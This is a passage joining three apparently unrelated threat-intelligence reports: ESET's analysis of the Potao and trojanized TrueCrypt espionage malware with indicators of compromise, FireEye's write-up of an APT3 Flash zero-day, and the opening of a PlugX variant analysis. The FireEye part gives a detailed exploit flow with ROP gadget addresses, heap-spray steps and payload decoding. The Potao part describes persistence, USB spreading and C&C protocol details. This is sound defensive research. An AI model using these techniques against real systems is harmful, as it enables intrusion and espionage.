victims. Figure 20 Website of TrueCrypt Russia According to ESET s LiveGrid telemetry, the Russian TrueCrypt website has been serving malware since at least June 2012. The served binaries timestamps date the earliest trojans to April 2012. Georgian campaign As confirmation that the malware writers are still very active even at the time of this writing, ESET detected a new Potao sample compiled on July 20, 2015. The file was targeted (and detected) against a victim in Georgia. Unlike the previous campaigns, the displayed decoy was not a Word document but a PDF file. Figure 21 Georgian decoy document WIN32/POTAO TECHNICAL ANALYSIS In this section we ll describe the technical aspects of the Win32/Potao trojan, from the malware architecture, C&C communication, analysis of plugins, and description of infection vectors, including USB spreading functionality, to the anti-reverse engineering techniques used. From a functional, high-level perspective, the malware family shares many common characteristics with the BlackEnergy trojan. A feature comparison with BlackEnergy can be found in Appendix A and Indicators of Compromise (IoC) are listed in Appendix C. The following paragraphs present an overview of Win32/Potao functionality, focusing on its unique features. Before we move on to the actual analysis of the malware, let s look at where the family got its name. The malware binaries from the first detected campaign contained an encrypted string GlobalPotao. In other samples of the same family that ESET detected throughout the years, the malware has also gone by the names Sapotao and node69 as seen in its own DLL filenames names and PDB paths left inside the binaries: Figure 22 PDB paths containing Potao sapotao and node69 The Potao family is a typical cyberespionage trojan, and as such it implements all the necessary functionality to exfiltrate sensitive information from the infected user s system and send it to the attackers remote server. Infection vectors & persistence Similarly to most other trojan families, Win32/Potao arrives at the victim s computer system in the form of a trojan dropper that acts as an installer for the malware. We have observed several infection vectors used to distribute the trojan, as described in the Attack timeline section. To summarize: Executables masquerading as Word, Excel, and PDF documents. These were propagated through fake postal service websites and SMS links, and possibly also through phishing emails Worm-like USB spreading functionality Fake TrueCrypt software see Win32/FakeTC for the technical analysis The dropper itself is usually in two stages. The first stage, for example, in the form of an executable with an icon of a MS Word document, merely drops the second stage dropper into the %temp% directory, executes it, and at the same time drops the embedded decoy document into the current working directory and opens it. The second stage dropper unpacks the main DLL from within itself using RtlDecompressBuffer. The DLL is dropped to the following path, loaded and injected into explorer.exe: %APPDATA%\Microsoft\%LUID%.dll8 Before the DLL is dropped to the drive, however, a simple trick is applied. The Potao dropper patches the name of the Enter export function in the DLL file s export address table to the LUID value. Figure 23 shows the patching function and an example where Enter was renamed to _85fc. As a result, every dropped instance of the DLL will have a unique binary hash. 8) %LUID% signifies the LUID structure, which is used as a unique identifier for the infected bot Figure 23 Patch of export function name before dropping the main DLL The trojan uses standard methods for loading its DLL via rundll32.exe and for maintaining persistence, by setting the Run registry entry: [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] %LUID% Win32/Potao Architecture The Potao trojan features a modular architecture and its functionality can be expanded with additional downloadable plugins. chrome.exe iexplore.exe Skype.exe Opera.exe firefox.exe uTorrent.exe safari.exe plugin plugin explorer.exe plugin \\.\pipe\\%name% Figure 24 Win32/Potao architecture When the malware is installed, its main DLL will be injected into the explorer.exe process. After having passed a mutex check, this instance will try to inject itself into the address space of several running legitimate and Internet-facing processes (browsers, Skype and uTorrent). With this setup, the instance injected within explorer.exe is responsible for loading and communicating with the Potao plugins, while the instances within the Internet-facing processes takes care of communication with the C&C server. The two instances communicate via a named pipe. Plugins overview The Potao main DLL only takes care of its core functionality; the actual spying functions are implemented in the form of downloadable modules. The plugins are downloaded each time the malware starts, since they aren t stored on the hard drive. Win32/Potao supports two types of plugins. The first type is Full Plugin9 and its export function is called Plug. The second is Light Plugin with an export function Scan. The difference between the two types is how they execute and return desired information. Full plugins run continuously until the infected system is restarted, while Light plugins terminate immediately after returning a buffer with the information they harvested off the victim s machine. It is worth mentioning that some of the plugins we observed during our monitoring of the Potao botnet were signed with a certificate issued to Grandtorg Figure 25 GrandTorg certificate details The name Grand Torg sounds like Great Market in Russian, a rather common term; we weren t able to identify an institution with that name. The certificate Serial Number is: 0453B96EB039AFD6C9988C8CB698E7C9 and its effective Revocation Time: Aug 19 00:00:00 2014 GMT Since the Revocation Time is the same as the Valid from time, all signatures made with this certificate have been rendered invalid after the revocation request was issued. This strongly suggests that the certificate has only been used for nefarious purposes, as opposed to having been stolen from a legitimate company. Table 1 contains a list of Potao plugins that we have encountered10. Full Plugin and Light Plugin are terms used by the actual malware authors in debug builds of the trojan. 10) It is quite possible that we have not seen all existing plugins, so the list may be incomplete. Filename Type Description GetAllSystemInfo.dll Light Collects various kinds of system information, including: system identifying information, proxy and language settings, lists of processes, installed software, recently opened files, and so on. GetAllSystemInfo.dll Light This plugin contains different functionality from the other plugin with the same file name. It collects browsing history from Google Chrome, Mozilla Firefox and Opera. FilePathStealer.dll Full Enumerates all drives and creates a list of potentially interesting files: images and documents. The plugin searches for files with the following extensions: JPG, BMP, TIFF, PDF, DOC, DOCX, XLS, XLSX, ODT, ODS. task-diskscanner.dll Full Like the FilePathStealer.dll plugin, this one also enumerates potentially interesting files. It looks for document extensions and common history, settings and cookie files belonging to Internet browsers. After the search, the found files are sent to the C&C. KeyLog2Runner.dll Full Logs key strokes & clipboard data from most common Internet browsers and Skype. PasswordStealer.dll Light Decrypts and steals passwords and settings from different browsers and email clients. Screen.dll Light Captures screenshots. Poker2.dll Light Disables spreading through USB drives, deletes specific Registry keys, and kills processes belonging to the malware. loader-updater.dll Light Updates the trojan. Table 1 Win32/Potao plugins C&C communication protocol The Win32/Potao samples that we ve analyzed contained several different C&C IP addresses encrypted in their bodies. For example one sample had the following hard-coded list of IPs, after decryption: 87.106.44.200:8080 62.76.42.14:443 62.76.42.14:8080 94.242.199.78:443 178.239.60.96:8080 84.234.71.215:8080 67.103.159.141:8080 62.76.184.245:80 62.76.184.245:443 62.76.184.245:8080 The malware randomly picks one of these IP addresses and makes an attempt to establish a connection. As can be seen from the ports in the list above, the HTTP or HTTPs protocols can be used for communication with the remote server. The communication uses strong cryptography in two stages. The first stage is the key exchange and the second stage is the actual exchange of data. This simple yet secure communication scheme is explained in Figure 26. MALWARE C&C SERVER connection attempt has embeded in its code: possesses: RSA-2048 public key RSA-2048 private key generates new RSA-2048 public key verifies the signature with signs it with its the RSA-2048 public key RSA-2048 private key RSA-2048 public key RSA-2048 public key obtains new RSA-2048 public key generates new AES-256 symmetric key encrypts it with the new RSA-2048 public key decrypts it with its RSA-2048 private key AES-256 symmetric key AES-256 symmetric key obtains the AES-256 symmetric key encrypts the request data with AES-256 symmetric key REQUEST DATA decrypts the request data REQUEST DATA Figure 26 Potao key exchange and C&C communication scheme RSA-2048 private key When the malware first contacts the C&C server (1) it sends a POST-request as shown in the example in Figure 27. The data sent is encapsulated using the XML-RPC protocol. Interestingly, the used methodName value 10a7d030-1a61-11e3-beea-001c42e2a08b is always present in Potao traffic that ve analyzed. Figure 27 Initial POST request sent to C&C After receiving the request the C&C server generates an RSA-2048 public key (2) and signs this generated key with another, static RSA-2048 private key (3). Figure 28 shows an example server response (4): Figure 28 C&C server response with base64-encoded RSA-2048-signed generated RSA-2048 public key When the malware receives this new RSA-2048 key it performs a signature verification using a corresponding static public key, which is embedded in the binary (5). If the signature is correct then the newly-received generated public key (6) will be used to encrypt the next step in communication. The embedded static RSA-2048 public key: -----BEGIN PUBLIC KEY----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApiLYPP8Z2BPuAqq4IzJ9 TdSwDFl7IcuHidKRrxyEl8YtbD0rqmPhBL1R50gl5/rUYuT87rhWhvBGUTXxRv4u Ga7YIs9r0ymdQtmjAXDvbY01U51mK+Hm7894diVBhQ46sznudrJSz82VJXzbZ9NN fBUFiDQFj5DijnZJfeR/Jb/DD9oRT+UJNeV1KIQeLZDUFHkC+Vp837roAprSyJpR 005EtiBgSQ7KO9GSKqxqzE5htdMX74n4kwmw/vRGi/c66a7/XlvCW1l0SWxowXO0 xqje04bbjzF9CINcvDBuVxlFznCOw5+1MUlO38lHJEpTrrQKSeMBSqMPunVF25At KQIDAQAB -----END PUBLIC KEY----In the second stage the malware generates a symmetric AES-256 key (7). This AES session key is encrypted with the newly received RSA-2048 public key (8) and sent to the C&C server (9). The actual data exchange (13) after the key exchange is then encrypted using symmetric cryptography, which is faster, with the AES-256 key (12). Leaving aside the trojan s implementation of cryptography the actual communication protocol is very simple. The malware sends an encrypted request to the server, as illustrated by the following (decrypted) example: id=4699807581825067201mapt&code=0&sdata=ver:5.1.2600 lv:2.8.0002 comp:COMPUTER adm:1 x:0 p:firefox.exe&md5=&dlen=0 This request contains a computer ID, campaign ID, OS version, version of malware, computer name, current privileges, OS architecture (64 or 32bits) and also the name of the current process. The server responds with the following data: code=%CMD%&data=%PAYLOAD_BASE64_ENCODED%&dlen=%PAYLOAD_LENGTH%&md5=%MD5% The code value represents the type of command that the bot is instructed to execute. The possible commands are listed in Table 2: Command Description Drop executable to %TEMP% and execute via CreateProcess function Execute plugin module Drop executable to %TEMP% and execute via ShellExecuteEx function 0 or 8 or any other Dummy command Table 2 Win32/Potao C&C commands Spreading via USB In several spreading campaigns, the Potao gang has used an additional vector to disseminate the malware: through USB drives. While so-called Autorun-worms11 used to be quite common, Win32/Potao took a different approach to USB infections. Instead of dropping an autorun.inf file to the root folder of removable drives, the USB spreading component of Potao uses a different, simple yet effective trick to store its executable on the USB media. The code responsible for USB infections will copy the Win32/Potao dropper into the root directory of all removable media drives. The filename is selected to match the disk label and the icon for removable media devices is used. At the same time, all other files and folders that were already present on the drive have their attributes set to Hidden and System. 11) Worms that misused the Windows AutoPlay functionality through autorun.inf files Figure 29 Trick for spreading via USB removable media In effect, with the default Windows settings of hiding file extensions, the user will only see a disk drive icon with the same label as the actual USB drive in Windows Explorer. This social engineering trick has fooled a number of victims into willingly running the malware. Win32/Potao anti-reverse engineering techniques The Potao trojan implements several tricks to make the analysis of the malware harder for reverseengineers. One of them is using hashes of WinAPI functions instead of their names: Figure 30 Loading WinAPI functions through hashes This trick is commonly used among various malware families in different implementations; the Potao malware uses the MurmurHash2 algorithm for computing the hashes of the API function names. Another trick implemented in the malware is encryption of strings. The decompiled decryption algorithm is shown in Figure 31. Figure 31 String decryption algorithm The strings are encrypted using an XOR operation with 4-byte length key. This key may be different in different samples. WIN32/FAKETC FAKE TRUECRYPT ANALYSIS The malware described in this section is a different family altogether from Win32/Potao. In this section we describe how the trojanized version of the open-source TrueCrypt software is used to exfiltrate files from the espionage victims encrypted drives. The relation to Potao is explained in an earlier section of the whitepaper. Figure 32 Win32/FakeTC detections by country since June 2015, according to ESET LiveGrid Figure 33 shows the interface of the trojanized Russian TrueCrypt application. Figure 33 Trojanized Russian TrueCrypt The malicious program code within the otherwise functional TrueCrypt software runs in its own thread. This thread, created at the end of the Mount function, enumerates files on the mounted encrypted drive, and if certain conditions are met, it connects to the C&C server, ready to execute commands from the attackers. The backdoor functionality is only contained within the application s GUI modules; the digitally signed TrueCrypt drivers remained intact. The conditions that must be satisfied before the bot contacts the C&C server for commands are: The number of files on the encrypted drive has to be greater than 10 The encrypted drive must have been mounted at least 4 times The available commands are listed in Table 3: Command Description idle Sleep for 1 second Collect Windows version, Computer name, Username list Enumerate files on all disks (skipping C:\Windows and *.exe, *.dll) listContainer Enumerate files on mounted container Steal password for encrypted container file Steal file filem Steal file by mask Download and execute file Download and execute DLL file (plugin) without storing on disk Table 3 Win32/FakeTC C&C commands As can be seen from the available commands, the Win32/FakeTC malware is a fully featured espionage trojan with the ability to extend its capabilities with downloadable plugins. Also, the implemented stealth techniques serving the trojanized version only to selected targets, and only activating the malicious functionality for active, long-term TrueCrypt users are probably the reasons why the malware has been undetected for so long. CONCLUSION In the previous pages we have presented our findings based on ESET detection telemetry and our analysis of Win32/Potao and Win32/FakeTC samples. Potao is another example of targeted espionage malware, a so-called APT, to use the popular buzzword, although technically the malware is not particularly advanced or sophisticated. On the contrary, the Potao gang has demonstrated that long-running, effective cyber-espionage can be carried out through carefully devised tricks and social-engineering, without the need for exploits. Examples of notable Potao dissemination techniques, some of which were previously unseen, or at least relatively uncommon, include the use of highly-targeted spear-phishing SMS messages to drive potential victims to malware download sites and USB worm functionality that tricked the user into willingly executing the trojan. But perhaps the most intriguing discovery was the connection to the trojanized Russian version of popular TrueCrypt encryption software and the truecryptrussia.ru website that both served TrueCrypt with an added backdoor to selected targets, and also acted as a malware C&C server. All of the findings presented in this paper indicate very APT-like behavior and specific targeting of victims by the Potao operators. The open question remains: who might be interested in spying on both Ukrainian government and military entities, a news agency, members of a Ponzi scheme popular in Russia and Ukraine, and other victims known and unidentified? Since we don t like to speculate without hard evidence, we ll leave the question of attribution for an open discussion. Nevertheless, the facts are that several high-value Ukrainian targets were targeted by the malware, along with a significant number of victims in other CIS countries, including Russia. APPENDIX A COMPARISON WITH BLACKENERGY (THE TROJAN USED BY THE SANDWORM / QUEDAGH GROUP) Potao BlackEnergy 1st appearance 2011 2007 ESET detection name Win32/Potao Win32/Rootkit.BlackEnergy Aliases Sapotao, node69 Sandworm, Quedagh Targeting Targeted, mass-spreading debug versions Targeted, but also detected on computers of a large number of victims Most targeted countries Ukraine, Russia, Georgia Ukraine, Poland Notable targets Ukrainian government & military institutions, news agency, members of MMM pyramid scheme, and others Ukrainian government & military institutions, companies and individuals in Ukraine and Poland Distribution vectors Spear-phishing, SMS, postal websites, executables masquerading as Word or Excel docs, USB worm, trojanized TrueCrypt Spear-phishing, documents with exploits (RTF CVE-2014-1761, PPTS CVE-2014-4114, ), executables masquerading as Word or Excel docs, parasitic virus, network spreading, infected Juniper installers, Java, TeamViewer, Architecture Modular with downloadable plugins Modular with downloadable plugins Discovered plugins File stealer, system information collector, password stealer, screen grabber, key logger, malware updater, USB worm component File stealer, system information collector, password stealer, screen grabber, key logger, malware updater, network discovery & remote execution, parasitic infector, system destroyer, remote login, and so on. Use of exploits Yes, including 0-days (CVE-2014-4114) Rootkit, driver component Yes, in early versions. Not in BlackEnergy Lite (v3) variant. Notable techniques and features Trojanized TrueCrypt, USB spreading mechanism, DLL export function name patch Windows MUI abuse, bypassing UAC through shims (MACT), config as X.509 certificate, remote access when TeamViewer installed, use of PowerPoint 0-day exploit (CVE2014-4114) for spreading, trojandownloaders for SCADA ICS systems communication encryption AES and RSA-2048 Modified RC4 Table 4 Similarities and differences between Win32/Potao and Win32/Rootkit.BlackEnergy APPENDIX B DETAILS OF WIN32/POTAO SAMPLES & CAMPAIGNS Main DLL PE timestamp Main DLL Version Campaign ID Apr 27 09:13:23 2012 00km May 12 14:01:30 2012 mmmL Jun 13 09:11:58 2012 NMMM Oct 22 13:35:02 2012 GEUN Nov 13 14:54:20 2012 _NAK Dec 05 10:37:14 2012 ANOS Apr 28 11:10:29 2013 2804 May 30 10:42:17 2013 _nal Jun 26 16:53:02 2013 _b01 Jul 02 12:28:08 2013 sb01 Aug 27 14:26:59 2013 perm Oct 15 09:31:32 2013 o003 Oct 16 09:55:46 2013 sb02 Oct 18 16:10:47 2013 psih Nov 19 11:14:04 2013 ber1 Nov 19 11:31:59 2013 us11 Feb 19 09:30:06 2014 t001 Apr 08 12:40:43 2014 ap01 Aug 21 10:54:56 2014 rk02 Aug 21 14:58:34 2014 rk02 Sep 02 12:39:46 2014 mt01 Sep 02 14:22:20 2014 mtu2 Oct 10 12:38:22 2014 mt01 Oct 15 15:16:44 2014 tk02 Oct 15 15:22:49 2014 comm Oct 15 15:26:19 2014 rk02 Oct 15 15:51:31 2014 mtu2 Oct 31 14:58:01 2014 mt01 Nov 07 14:10:38 2014 rk03 Nov 10 13:00:43 2014 mtu3 Nov 11 13:46:58 2014 udif Nov 13 11:14:22 2014 vou0 Nov 19 11:16:33 2014 rk03 Nov 20 12:29:01 2014 udif Nov 20 12:32:06 2014 mtu3 Nov 21 13:09:55 2014 rk03 Dec 06 09:31:38 2014 2.8.0001 mt10 Dec 08 13:51:03 2014 2.8.0001 rk0S Dec 15 12:05:05 2014 2.8.0001 rk0S Dec 17 10:02:00 2014 2.8.0001 mtuS Dec 18 09:58:06 2014 2.8.0001 udi2 Dec 18 12:53:18 2014 2.8.0001 rko3 Main DLL PE timestamp Main DLL Version Campaign ID Jan 20 15:23:34 2015 2.8.0001 vouF Jan 20 15:27:46 2015 2.8.0001 dpcF Jan 23 10:39:28 2015 2.8.0001 dpcu Feb 17 13:07:24 2015 2.8.0002 dpcF Feb 17 13:30:10 2015 2.8.0002 rk0F Mar 03 16:26:36 2015 2.8.0002 ufbi Mar 06 13:33:07 2015 2.8.0002 ufbi Mar 13 12:42:14 2015 2.8.0002 dpcF Apr 16 13:18:08 2015 2.8.0002 mapt Apr 23 15:43:31 2015 2.8.0002 mapt Apr 28 08:27:04 2015 2.8.0002 mapt May 20 09:27:20 2015 2.8.0002 mapF May 20 10:21:14 2015 2.8.0002 tk03 Jun 18 10:55:49 2015 2.8.0002 mapt Jul 16 18:26:08 2015 2.8.0002 mapt Jul 20 09:16:21 2015 2.8.0002 bhaz Table 5 Win32/Potao sample details APPENDIX C INDICATORS OF COMPROMISE (IOC) Users of ESET security software are fully protected from the Potao malware described in this paper. Additionally, ESET will provide further information regarding this threat to any individuals or organizations that may be infected either currently or in the past. Contact email: threatintel@eset.com For convenience, we also uploaded the Potao IOCs to github: https://github.com/eset/malware-ioc/ tree/master/potao SHA1 hashes: Early Potao versions: 8839D3E213717B88A06FFC48827929891A10059E 5C52996D9F68BA6FD0DA4982F238EC1D279A7F9D CE7F96B400ED51F7FAB465DEA26147984F2627BD D88C7C1E465BEA7BF7377C08FBA3AAF77CBF485F 81EFB422ED2631C739CC690D0A9A5EAA07897531 18DDCD41DCCFBBD904347EA75BC9413FF6DC8786 E400E1DD983FD94E29345AABC77FADEB3F43C219 EB86615F539E35A8D3E4838949382D09743502BF 52E59CD4C864FBFC9902A144ED5E68C9DED45DEB 642BE4B2A87B47E77814744D154094392E413AB1 Debug versions: BA35EDC3143AD021BB2490A3EB7B50C06F2EA40B 9D584DE2CCE6B654E62573938C2C824D7CC7D0EB 73A4A6864EF68C810C7C699ED51B759CF1C4ADFB 1B3437C06CF917920688B25DA0345749AA1A4A46 Droppers with decoy documents: FBB399568E0A3B2E461A4EB3268ABDF07F3D5764 4D5E0808A03A75BFE8202E3A6D2920EDDBFC7774 BCC5A0CE0BCDFEA2FD1D64B5529EAC7309488273 F8BCDAD02DA2E0223F45F15DA4FBAB053E73CF6E 2CDD6AABB71FDB244BAA313EBBA13F06BCAD2612 9BE3800B49E84E0C014852977557F21BCDE2A775 4AC999A1C54AE6F54803023DC0FCF126CB77C854 59C07E5D69181E6C3AFA7593E26D33383722D6C5 E15834263F2A6CCAE07D106A71B99FE80A5F744B A62E69EF1E4F4D48E2920572B9176AEDB0EEB1C6 900AD432B4CB2F2790FFEB0590B0A8348D9E60EB 856802E0BD4A774CFFFE5134D249508D89DCDA58 A655020D606CA180E056A5B2C2F72F94E985E9DB 04DE076ACF5394375B8886868448F63F7E1B4DB9 Droppers from postal websites: 94BBF39FFF09B3A62A583C7D45A00B2492102DD7 F347DA9AAD52B717641AD3DD96925AB634CEB572 A4D685FCA8AFE9885DB75282516006F5BC56C098 CC9BDBE37CBAF0CC634076950FD32D9A377DE650 B0413EA5C5951C57EA7201DB8BB1D8C5EF42AA1E 0AE4E6E6FA1B1F8161A74525D4CB5A1808ABFAF4 EC0563CDE3FFAFF424B97D7EB692847132344127 639560488A75A9E3D35E4C0D9C4934295072DD89 USB-spreaders: 850C9F3B14F895AAA97A85AE147F07C9770FB4C7 BB0500A24853E404AD6CA708813F926B90B38468 71A5DA3CCB4347FE785C6BFFF7B741AF80B76091 7664C490160858EC8CFC8203F88D354AEA1CFE43 92A459E759320447E1FA7B0E48328AB2C20B2C64 BB7A089BAE3A4AF44FB9B053BB703239E03C036E DB966220463DB87C2C51C19303B3A20F4577D632 37A3E77BFA6CA1AFBD0AF7661655815FB1D3DA83 181E9BCA23484156CAE005F421629DA56B5CC6B5 A96B3D31888D267D7488417AFE68671EB4F568BD 224A07F002E8DFB3F2B615B3FA71166CF1A61B6D 5D4724FBA02965916A15A50A6937CDB6AB609FDD 8BE74605D90ED762310241828340900D4B502358 5BE1AC1515DA2397A7C52A8B1DF384DD938FA714 56F6AC6197CE9CC774F72DF948B414EED576B6C3 F6F290A95D68373DA813782EF4723E39524D048B 48904399F7726B9ADF7F28C07B0599717F741B8B 791ECF11C04470E9EA881549AEBD1DDED3E4A5CA E2B2B2C8FB1996F3A4A4E3CEE09028437A5284AE 5B30ECFD47988A77556FE6C0C0B950510052C91E 4EE82934F24E348696F1C813C24797618286A70C B80A90B39FBA705F86676C5CC3E0DECA225D57FF 971A69547C5BC9B711A3BB6F6F2C5E3A46BF7B29 C1D8BE765ADCF76E5CCB2CF094191C0FEC4BF085 2531F40A1D9E50793D04D245FD6185AAEBCC54F4 Other droppers: D8837002A04F4C93CC3B857F6A42CED6C9F3B882 BA5AD566A28D7712E0A64899D4675C06139F3FF0 FF6F6DCBEDC24D22541013D2273C63B5F0F19FE9 76DA7B4ABC9B711AB1EF87B97C61DD895E508232 855CA024AFBA0DC09D336A0896318D5CC47F03A6 12240271E928979AB2347C29B5599D6AC7CD6B8E A9CB079EF49CEE35BF68AC80534CBFB5FA443780 1B278A1A5E109F32B526660087AEA99FB8D89403 4332A5AD314616D9319C248D41C7D1A709124DB2 5BEA9423DB6D0500920578C12CB127CBAFDD125E Plugins: 2341139A0BC4BB80F5EFCE63A97AA9B5E818E79D 8BD2C45DE1BA7A7FD27E43ABD35AE30E0D5E03BC 54FEDCDB0D0F47453DD65373378D037844E813D0 CC3ECFB822D09CBB37916D7087EB032C1EE81AEE F1C9BC7B1D3FD3D9D96ECDE3A46DFC3C33BBCD2B 9654B6EA49B7FEC4F92683863D10C045764CCA86 526C3263F63F9470D08C6BA23E68F030E76CAAF3 E6D2EF05CEDCD4ABF1D8E3BCAF48B768EAC598D7 CEBAB498E6FB1A324C84BA267A7BF5D9DF1CF264 324B65C4291696D5C6C29B299C2849261F816A08 C96C29252E24B3EEC5A21C29F7D9D30198F89232 CDDDE7D44EFE12B7252EA300362CF5898BDC5013 84A70CDC24B68207F015D6308FE5AD13DDABB771 Fake TrueCrypt setup: 82F48D7787BDE5B7DEC046CBEF99963EEEB821A7 9666AF44FAFC37E074B79455D347C2801218D9EA C02878A69EFDE20F049BC380DAE10133C32E9CC9 7FBABEA446206991945FB4586AEE93B61AF1B341 Fake TrueCrypt extracted exe: DCBD43CFE2F490A569E1C3DD6BCA6546074FD2A1 422B350371B3666A0BD0D56AEAAD5DEC6BD7C0D0 88D703ADDB26ACB7FBE35EC04D7B1AA6DE982241 86E3276B03F9B92B47D441BCFBB913C6C4263BFE Domain names: truecryptrussia.ru mntexpress.com worldairpost.com worldairpost.net camprainbowgold.ru poolwaterslide2011.ru IP addresses of C&C servers: 78.47.218.234 46.165.228.130 95.86.129.92 192.154.97.239 115.68.23.192 5.44.99.46 67.18.208.92 188.240.46.1 37.139.47.162 81.196.48.188 212.227.137.245 74.54.206.162 62.76.189.181 69.64.72.206 87.106.44.200 74.208.68.243 62.76.42.14 46.163.73.99 94.242.199.78 193.34.144.63 178.239.60.96 103.3.77.219 84.234.71.215 119.59.105.221 67.103.159.141 188.40.71.188 62.76.184.245 188.40.71.137 83.169.20.47 108.179.245.41 148.251.33.219 64.40.101.43 98.129.238.97 190.228.169.253 195.210.28.105 194.15.126.123 198.136.24.155 188.127.249.19 APT3 The China-based threat group FireEye tracks as APT3, aka UPS, is responsible for this exploit and the activity identified in our previous blog post, Operation Clandestine Fox. This group is one of the more sophisticated threat groups that FireEye Threat Intelligence tracks, and they have a history of introducing new browser-based zero-day exploits (e.g., Internet Explorer, Firefox, and Adobe Flash Player). After successfully exploiting a target host, this group will quickly dump credentials, move laterally to additional hosts, and install custom backdoors. APT3 s command and control (CnC) infrastructure is difficult to track, as there is little overlap across campaigns. Activity Overview In the last several weeks, APT3 actors launched a large-scale phishing campaign against organizations in the following industries: Aerospace and Defense Construction and Engineering High Tech Telecommunications Transportation Upon clicking the URLs provided in the phishing emails, targets were redirected to a compromised server hosting JavaScript profiling scripts. Once a target host was profiled, victims downloaded a malicious Adobe Flash Player SWF file and an FLV file, detailed below. This ultimately resulted in a custom backdoor known as SHOTPUT, detected by FireEye as Backdoor.APT.CookieCutter, being delivered to the victim s system. The payload is obscured using xor encoding and appended to a valid GIF file. Attack Vector The phishing emails used by APT3 during this campaign were extremely generic in nature, almost appearing to be spam. An example email body: Save between $200-450 by purchasing an Apple Certified Refurbished iMac through this link. Refurbished iMacs come with the same 1-year extendable warranty as new iMacs. Supplies are limited, but update frequently. Don't hesitate . . .>Go to Sale The string >Go to Sale was a link that used the following URL structure: hxxp://..//.html Exploit Details The attack exploits an unpatched vulnerability in the way Adobe Flash Player parses Flash Video (FLV) files. The exploit uses common vector corruption techniques to bypass Address Space Layout Randomization (ASLR), and uses Return-Oriented Programming (ROP) to bypass Data Execution Prevention (DEP). A neat trick to their ROP technique makes it simpler to exploit and will evade some ROP detection techniques. Shellcode is stored in the packed Adobe Flash Player exploit file alongside a key used for its decryption. The payload is xor encoded and hidden inside an image. Exploit Packaging The Adobe Flash Player exploit is packed with a simple RC4 packer. The RC4 key and ciphertext are BinaryData blobs that the packer uses to decrypt the layer 2 Adobe Flash Player file. Once decrypted, layer 2 is executed with loader.loadBytes. Vector Corruption Layer 2 uses a classic Adobe Flash Player Vector corruption technique to develop its heap corruption vulnerability to a full relative read/write available to ActionScript3. In this technique, the attacker sprays Adobe Flash Player Vectors to the heap, and triggers a write vulnerability to change the size of one of the vectors. The attacker can then perform subsequent reads and writes to memory outside the intended boundaries of the corrupted Vector object from AS3. For more details on this technique, see Flash in 2015. Once the attacker has limited read/write access to memory, they choose to corrupt a second Vector to increase their access to a range of 0x3fffffff bytes. This second Vector is used for the remainder of the exploit. Return-Oriented Programming The attackers use a ROP chain to call kernel32!VirtualAlloc to mark their shellcode as executable before jumping to their shellcode. Instead of writing their ROP chain to the heap along with their shellcode and payload, they used a different technique. Usually, exploit developers will corrupt a built-in Adobe Flash Player object such as a Sound object. Instead, the attackers chose to define their own class in AS3 with a function that takes a lot of arguments: class CustomClass { public function victimFunction(arg1:uint, arg2:uint, , arg80:uint):uint Then, the attackers can simply overwrite the function pointer with a gadget that adds to the stack pointer and returns to pivot to ROP. They have no need to identify the absolute address of the ROP chain and preserve it in a register for a typical xchg reg32, esp pivot. Additionally, storing the ROP chain on the stack will evade ROP detection mechanisms designed around detecting when the stack pointer points outside of a thread s stack region. this.customObj.victimFunction( 6f73b68b, // ret; (ROPsled) 6f73b68a, //pop eax 1f140100, 6fd36da1, //call Kernel32!VirtualAlloc(0x1f140000, 0x10000, 0x1000, 0x40) 1f140000, // Address 00010000, // Size 00001000, // Type 00000040, // Protection = RWX 6f73b68b*9 // ret (ROPsled) 6fd36da7*2 // ret 6f73aff0 pop ecx 6fd36da7 6fd36da7 jmp [eax] this.customObj.victimFunction pointer modified to: 00000000`6de533dc 5e pop rsi 00000000`6de533dd 83c448 add esp,48h 00000000`6de533e0 c3 Lastly, the ROP chain has a ROPsled following the call to VirtualAlloc. This could just be an artifact of development, or it could be designed to bypass detection mechanisms that test for valid return addresses up to a limited depth at calls to VirtualAlloc. Full Exploit Flow Create a new Video object Fetch the payload Attach the video to a new NetStream Spray the heap with Adobe Flash Player Vectors Create a Vector containing 98688 Vectors containing 1022 uints Set the first two dwords in each Vector to 0x41414141, 0x42424242 Create holes for the controlled FLV object Free approximately every 3rd Vector in the spray Spray custom class objects for future control transfer Define a new class CustomClass Define a function victimFunction with lots of arguments Create a Vector of 0x100 Vectors of 1007 references to an CustomClass instance Fetch and play the FLV exploit The FLV file will allocate an attacker controlled object in one of the holes from step 5 The attacker controlled object will overwrite the length field of an adjacent vector Re-fill holes from step 5 with Vectors as in step 4 Find the corrupted vector Search through Vectors from step 4 Check the length of each Vector to find one that is abnormally large 10. Corrupt a second Vector (Vector2) Using the corrupted Vector from step 9 to read/write relative memory addresses Search memory for an adjacent vector Overwrite the length field with 0x3fffffff iii. Verify that a corrupted vector with length 0x3fffffff now exists in the spray If not, undo corruption and attempt to corrupt the next vector 11. Decrypt shellcode and store it and the payload on the heap 12. Overwrite the CustomClass.victimFunction function pointer Find the sprayed CustomClass object instance references from step 6 The new function is a form of pivot that transfers control to the attacker 13. Build ROP chain on the stack and call it Find ROP gadgets in memory using Vector2 Including a call to kernel32!VirtualAlloc Call the corrupted CustomClass.victimFunction from step 6.a.i Arguments to the function are the gadgets of the ROP chain They are conveniently pushed onto the stack iii. Corrupted vtable from step 12 calls a pivot The pivot just adds to to the stack pointer and returns because the ROP chain is on the stack 14. ROP chain calls shellcode Call kernel32!VirtualAlloc jmp to shellcode 15. Shellcode calls payload Shellcode searches memory for the payload, which is stored inside an image Shellcode decodes the payload by xoring each byte (that is not 0 or 0x17) with 0x17 Conclusion Once APT3 has access to a target network, they work quickly and they are extremely proficient at enumerating and moving laterally to maintain their access. Additionally, this group uses zero-day exploits, continually updated custom backdoors, and throwaway CnC infrastructure, making it difficult to track them across campaigns. Acknowledgements Thank you to the following contributors to this blog! Joseph Obed, Ben Withnell, Kevin Zuk, Genwei Jiang, and Corbin Souffrant of FireEye Analysis of a Recent PlugX Variant - P2P PlugX This is Shusei Tomonaga at Analysis Center. PlugX, a Remote Access Tool (RAT) often seen in many APT cases, has been in the wild for some years. Various sectors in Japan have been suffering from this type of attack from 2012, and Analysis Center has been working to catch up on the evolution of the PlugX family since then. In this blog post, I will write about a recent PlugX variant which we first encountered in October 2014. The variant has interesting new aspects and the most significant one, in my view, is the P2P function - so let me tentatively name it P2P PlugX Size Expansion of Configuration Information PlugX is designed to run based on its configuration information stored in itself. Our analysis revealed that the size of the configuration information has been expanded for the recent variant. While the former ones have either 0x2540 bytes (Observed since August 2013) or 0x2d58 bytes (Observed since June 2014), the recent one has 0x36a4 bytes, roughly 20% larger in size. This has led it to do more, such as: Communication with more C&C servers up to 16 P2P communication between infected 